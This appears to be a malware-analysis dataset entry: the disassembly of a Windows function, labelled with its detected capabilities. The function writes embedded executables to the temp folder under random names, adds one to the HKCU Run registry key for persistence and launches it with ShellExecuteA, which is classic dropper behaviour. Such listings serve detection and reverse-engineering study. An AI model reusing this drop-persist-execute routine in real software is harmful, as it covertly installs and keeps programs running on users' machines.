Function at 0x47d9e6
Capabilities:
Create process on windows
Get common file path
Persist via run registry key
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
lea eax, [ebp - 0x15c]
mov dword [esp + 4], eax
mov dword [esp], 0x104
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathA]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x47da2f
mov dword [esp], str.Failed_to_get_temp_path
call sym._perror
mov eax, 1
jmp 0x47dd43
mov dword [esp], str..exe
call sym._generate_random_name
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0x60d064
lea eax, [ebp - 0x15c]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
add eax, edx
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x15c]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
add eax, edx
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x15c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x15c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x5d031e
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x47db41
mov dword [esp], str.Error_opening_file
call sym._perror
mov eax, 0xffffffff
jmp 0x47dd43
mov eax, dword [0xa1a088]
mov edx, dword [ebp - 0x44]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], 0x8d0040
call sym._fwrite
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov eax, dword [0xa1a088]
cmp dword [ebp - 0x4c], eax
je 0x47db99
mov dword [esp], str.Error_writing_to_file
call sym._perror
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._fclose
mov eax, 0xffffffff
jmp 0x47dd43
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 4], 0x5d031e
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jne 0x47dbdc
mov dword [esp], str.Error_opening_file
call sym._perror
mov eax, 0xffffffff
jmp 0x47dd43
mov eax, dword [0x95a044]
mov edx, dword [ebp - 0x54]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], 0xb1a4e0
call sym._fwrite
mov dword [ebp - 0x4c], eax
mov eax, dword [0x95a044]
cmp dword [ebp - 0x4c], eax
je 0x47dc2e
mov dword [esp], str.Error_writing_to_file
call sym._perror
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym._fclose
mov eax, 0xffffffff
jmp 0x47dd43
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym._fclose
mov dword [ebp - 0x160], 0
lea eax, [ebp - 0x160]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x160]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x160]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
cmp dword [ebp - 0x18], 0
je 0x47dd0b
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
cmp dword [ebp - 0x1c], 0
je 0x47dd1c
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
cmp dword [ebp - 0x2c], 0
je 0x47dd2d
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._free
cmp dword [ebp - 0x3c], 0
je 0x47dd3e
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call sym._free
mov eax, 0
leave
ret